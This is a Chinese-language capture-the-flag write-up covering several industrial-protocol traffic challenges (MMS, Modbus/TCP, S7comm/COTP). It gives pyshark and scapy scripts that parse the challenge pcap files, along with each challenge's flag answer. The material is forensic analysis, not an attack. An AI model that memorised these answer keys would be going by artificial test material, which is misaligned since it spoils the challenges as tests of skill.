通过运行上面的脚本,发现数据包中使用到了9个服务,分别是1 (getNameList)4 (read)5 (write)6 (getVariableAccessAttributes)12 (getNamedVariableListAttributes)72 (fileOpen)73 (fileRead)74 (fileClose)77 (fileDirectory)

ConfirmedServiceRequestConfirmedServiceResponse的服务类型,可以参考GBT16720.2-2005 工业自动化系统 制造报文规范 第2部分 协议规范.pdf

接下来就是对服务一个一个的分析,按照服务的出现次数从小到大来分析,先分析77 (fileDirectory)服务的数据包,惊奇的发现数据包第1764个比数据包第266个多一个flag.txt文件,而且文件最后一次修改时间为2018-06-14 11:19:00 (UTC),如图4所示:


图4 获取文件目录的确认应答

可以猜测这个flag.txt文件就是我们所需要的flag信息,接着过滤出与flag.txt文件相关的数据包,如图5所示:


图5 过滤后与flag.txt相关的数据包

从图5中发现数据包中存在读取flag.txt的请求,编写脚本找出flag.txt的文件内容,脚本代码如下:

import pyshark

def flag():
    try:
        captures = pyshark.FileCapture("question_1531222544_JYvFGmLP49PFC0R2.pcap")
        flag_frsm = False
        flag_frsm_id = None
        flag_read = False
        for capture in captures:
            for pkt in capture:
                if pkt.layer_name == "mms":
                    # file open
                    if hasattr(pkt, "confirmedservicerequest") and int(pkt.confirmedservicerequest) == 72:
                        if hasattr(pkt, "filename_item"):
                            filename_items = pkt.filename_item.fields
                            for f in filename_items:
                                file_name = str(f.get_default_value())
                                if file_name == "flag.txt":
                                    flag_frsm = True
                    if hasattr(pkt, "confirmedserviceresponse") and int(pkt.confirmedserviceresponse) == 72 and flag_frsm:
                        # print(pkt.field_names)
                        if hasattr(pkt, "frsmid"):
                            flag_frsm_id = pkt.frsmid
                        flag_frsm = False
                    # file read
                    if hasattr(pkt, "confirmedservicerequest") and int(pkt.confirmedservicerequest) == 73 and flag_frsm_id:
                        if hasattr(pkt, "fileread"):
                            if str(pkt.fileread) == str(flag_frsm_id):
                                flag_read = True
                        flag_frsm_id = None
                    if hasattr(pkt, "confirmedserviceresponse") and int(pkt.confirmedserviceresponse) == 73 and flag_read:
                        if hasattr(pkt, "filedata"):
                            data = str(pkt.filedata).replace(":", "")
                            print(hex_to_ascii(data))
                        flag_read = False
    except Exception as e:
        print(e)


def hex_to_ascii(data):
    data = data.decode("hex")
    flags = []
    for d in data:
        _ord = ord(d)
        if (_ord > 0) and (_ord < 128):
            flags.append(chr(_ord))
    return ''.join(flags)


if __name__ == '__main__':
    flag()

脚本运行结果如下:

61850@102

所以,61850@102就是需要寻找的Flagwink

0x02 工业协议数据分析(300分)

1 赛题描述

赛题如图6所示,附件下载:question_1531222648_ctf03.pcap


图6 赛题

2 解题思路

用wireshark打开下载到的数据包后可以发现数据包中有大量的数据混杂在一起,考虑到题目是工业协议数据分析,因此可以初步排除非工控的协议,留到最后分析。

经过逐步排除后可以发现,数据包中相关的工控流量有Modbus/TCP协议(端口是TCP 502)和西门子S7comm协议(端口是TCP 102),如图7所示:


图7 数据包中的工控流量

接下来只需要进一步分析Modbus/TCP协议及西门子S7comm协议的数据包即可。

Ok,先来分析西门子S7comm协议吧,从数据包中可以发现,西门子S7comm协议中的PDU类型有Job和Ack_Data两种,所以分析起来更加简单了,编写脚本解析出数据包中使用到的西门子S7comm协议的功能码,脚本代码如下:

import pyshark

def get_func_s7():
    try:
        captures = pyshark.FileCapture("question_1531222648_ctf03.pcap")
        func_codes = {}
        for c in captures:
            for pkt in c:
                if pkt.layer_name == "s7comm":
                    if hasattr(pkt, "param_func"):
                        func_code = pkt.param_func
                        if func_code in func_codes:
                            func_codes[func_code] += 1
                        else:
                            func_codes[func_code] = 1
        print(func_codes)
    except Exception as e:
        print(e)

if __name__ == '__main__':
    get_func_s7()

脚本执行后,数据包中所使用的西门子S7comm协议的功能码有0xf0 (Setup communication)(出现2次)和0x04 (Read Var)(出现6196次),但是进一步分析后,发现大量的0x04 (Read Var)都是对DB 1.DBX 4.0进行的读取行为,而且数据(数据是00000000020037000000000c000000002c41)没有变化。因此也可以大致排除西门子S7comm协议中存在Flag的可能。

下一步需要分析的就是Modbus/TCP协议了,同样编写脚本解析出数据包中使用到的Modbus/TCP协议的功能码,脚本代码如下:

import pyshark

def get_func_mb():
    try:
        captures = pyshark.FileCapture("question_1531222648_ctf03.pcap")
        func_codes = {}
        for c in captures:
            for pkt in c:
                if pkt.layer_name == "modbus":
                    func_code = int(pkt.func_code)
                    if func_code in func_codes:
                        func_codes[func_code] += 1
                    else:
                        func_codes[func_code] = 1
        print(func_codes)
    except Exception as e:
        print(e)

if __name__ == '__main__':
    get_func_mb()

脚本执行后,数据包中所使用的Modbus/TCP协议的功能码有1 (Read coils)(出现3220次)、2 (Read Discrete Inputs)(出现3220次)、3 (Read Holding Registers)(出现3220次)、4 (Read Input Registers)(出现3220次)和16 (Write Multiple Registers)(出现228次)。而功能码中的1 (Read coils)2 (Read Discrete Inputs)3 (Read Holding Registers)4 (Read Input Registers)的请求都出现过3220次,且请求的各个寄存器数值一直在不停的变化,看起来比较像正常的工业数据。

所以,接下来编写脚本对16 (Write Multiple Registers)功能码相关的数据包进行分析,脚本代码如下:

import pyshark

def find_flag():
    try:
        cap = pyshark.FileCapture("question_1531222648_ctf03.pcap")
        idx = 1
        for c in cap:
            for pkt in c:
                if pkt.layer_name == "modbus":
                    func_code = int(pkt.func_code)
                    if func_code == 16:
                        payload = str(c["TCP"].payload).replace(":", "")
                        print(hex_to_ascii(payload))
                        print("{0} ###########################################".format(idx))
            idx += 1
    except Exception as e:
        print(e)

def hex_to_ascii(payload):
    data = payload.decode("hex")
    flags = []
    for d in data:
        _ord = ord(d)
        if (_ord > 0) and (_ord < 128):
            flags.append(chr(_ord))
    return ''.join(flags)

if __name__ == '__main__':
    find_flag()

脚本执行后,发现第11779个数据包比较异常,先看一下它的TCP Payload是926d6f64627573494353736563757269747957696e?E K(如图8所示):


图8 隐藏Flag的数据包

可以大胆的猜测6d6f64627573494353736563757269747957696e就是我们需要的Flag,将其16进制字符串转成ASCII字符串后得到modbusICSsecurityWin,所以modbusICSsecurityWin就是需要寻找的Flagwink

0x03 Modbus协议分析1(200分)

1 赛题描述

赛题如图9所示,附件下载:question_1531222756_modbus1.pcap


图9 赛题

2 解题思路

考虑到题目是Modbus协议数据分析,因此可以初步排除非Modbus的协议。

先分析一下数据包中所有使用到的Modbus/TCP协议功能码,同样编写脚本对其进行分析,脚本代码如下:

import pyshark

def get_func_mb():
    try:
        captures = pyshark.FileCapture("question_1531222756_modbus1.pcap")
        func_codes = {}
        for c in captures:
            for pkt in c:
                if pkt.layer_name == "modbus":
                    func_code = pkt.func_code
                    if func_code in func_codes:
                        func_codes[func_code] += 1
                    else:
                        func_codes[func_code] = 1
        print(func_codes)
    except Exception as e:
        print(e)

if __name__ == '__main__':
    get_func_mb()

脚本执行后,数据包中所使用的Modbus/TCP协议的功能码有1 (Read coils)(出现702次)、2 (Read Discrete Inputs)(出现702次)、3 (Read Holding Registers)(出现702次)、4 (Read Input Registers)(出现702次)和16 (Write Multiple Registers)(出现2次)。而功能码中的1 (Read coils)2 (Read Discrete Inputs)3 (Read Holding Registers)4 (Read Input Registers)的请求都出现过702次,且请求的各个寄存器数值一直在不停的变化,看起来比较像正常的工业数据。

16 (Write Multiple Registers)请求只出现了2次,因此比较可疑。 数据包中的16 (Write Multiple Registers)写入到25个连续的寄存器中(如图10所示),我们所需要的flag信息就可能藏在这里。


图10 隐藏Flag的数据包

所以,TheModbusProtocolIsFunny!就是需要寻找的Flagfrown

0x04 S7comm协议分析1(200分)

1 赛题描述

赛题如图11所示,附件下载:question_1531222894_065xYFFV1c3lR5sj.pcapng


图11 赛题

2 解题思路

考虑到题目是S7comm协议数据分析,因此可以初步排除非S7comm的协议。

如下图12所示,可以看到该流量中存在大量的重传现象,因此一种可能是网络中存在中间人攻击,传输的流量可能被截取篡改,而篡改的数据包中就很有可能存在需要的Flag。


图12 数据重传现象

此时可以将过滤后的数据包使用wireshark导出(s7.pcapng)后用scapy工具进行辅助分析是否存在中间人改包及定位数据包位置。

import scapy.all as scapy
from scapy.layers.inet import TCP

if __name__ == '__main__':
    try:
        captures = scapy.rdpcap("s7.pcapng")
        for i in range(len(captures) - 1):
            pkt1 = captures[i]
            pkt2 = captures[i + 1]
            # 只检测push的TCP数据包
            if pkt1[TCP].flags == 0x18 and pkt2[TCP].flags == 0x18:
                # 判断ack和seq重复的数据包
                if pkt1[TCP].seq == pkt2[TCP].seq and pkt1[TCP].ack == pkt2[TCP].ack:
                    if pkt1.load != pkt2.load:
                        print("Find target: packet number: %s" % i + 1)
    except Exception as e:
        print(e)

通过辅助分析后,并没有在数据包中发现被篡改的数据,因此可以排除中间人改包的这个可能。怀疑造成数据包显示大量重放的原因可能与端口镜像配置有关。

接下来就是进一步分析S7comm协议的数据包,但是数据包中没有S7comm协议相关的数据包,有的是COTP协议相关的数据包,所以接下来就是分析COTP协议,先统计一下cotp协议的PDU类型,编写脚本如下:

import pyshark

if __name__ == '__main__':
    try:
        captures = pyshark.FileCapture("s7.pcapng")
        pdu_types = {}
        for c in captures:
            for pkt in c:
                if pkt.layer_name == "cotp":
                    if hasattr(pkt, "type"):
                        type = pkt.type
                        if type in pdu_types:
                            pdu_types[type] += 1
                        else:
                            pdu_types[type] = 1
        print(pdu_types)
    except Exception as e:
        print(e)

脚本执行后,数据包中所使用的COTP协议的PDU类型有0x0e (CR Connect Request,连接请求)(出现12次)、0x0d (CC Connect Confirm,连接确认)(出现8次)和0x0f (DT Data,数据传输)(出现3696次)。从统计的结果来看,一共有12次连接请求,但是只有8次连接确认,所以推测有的连接存在非法信息,这可能就是所需要的Flag。

COTP(ISO 8073/X.224 COTP Connection-Oriented Transport Protocol)是OSI 7层协议定义的位于TCP之上的协议。COTP以“Packet”为基本单位来传输数据,这样接收方会得到与发送方具有相同边界的数据。

COTP协议分为两种形态,分别是COTP连接包(COTP Connection Packet)和COTP功能包(COTP Fuction Packet)。

用wireshark过滤后,如图13所示:


图13 PDU类型是0x0e和0x0d的相关数据包

发现第19933、19938、19946、41010个数据包只进行了连接请求,没有得到192.168.1.13的连接确认,而且19933、19938、19946的src-ref都是0x0001,先重点分析这3个数据包,果然在第19946个数据包中发现了猫腻,如图14所示:


图14 隐藏Flag的数据包

通过对比分析其他16个数据包,可以确定NESSUS就是需要的Flaglaugh

0x05 参考

...

Tags Read More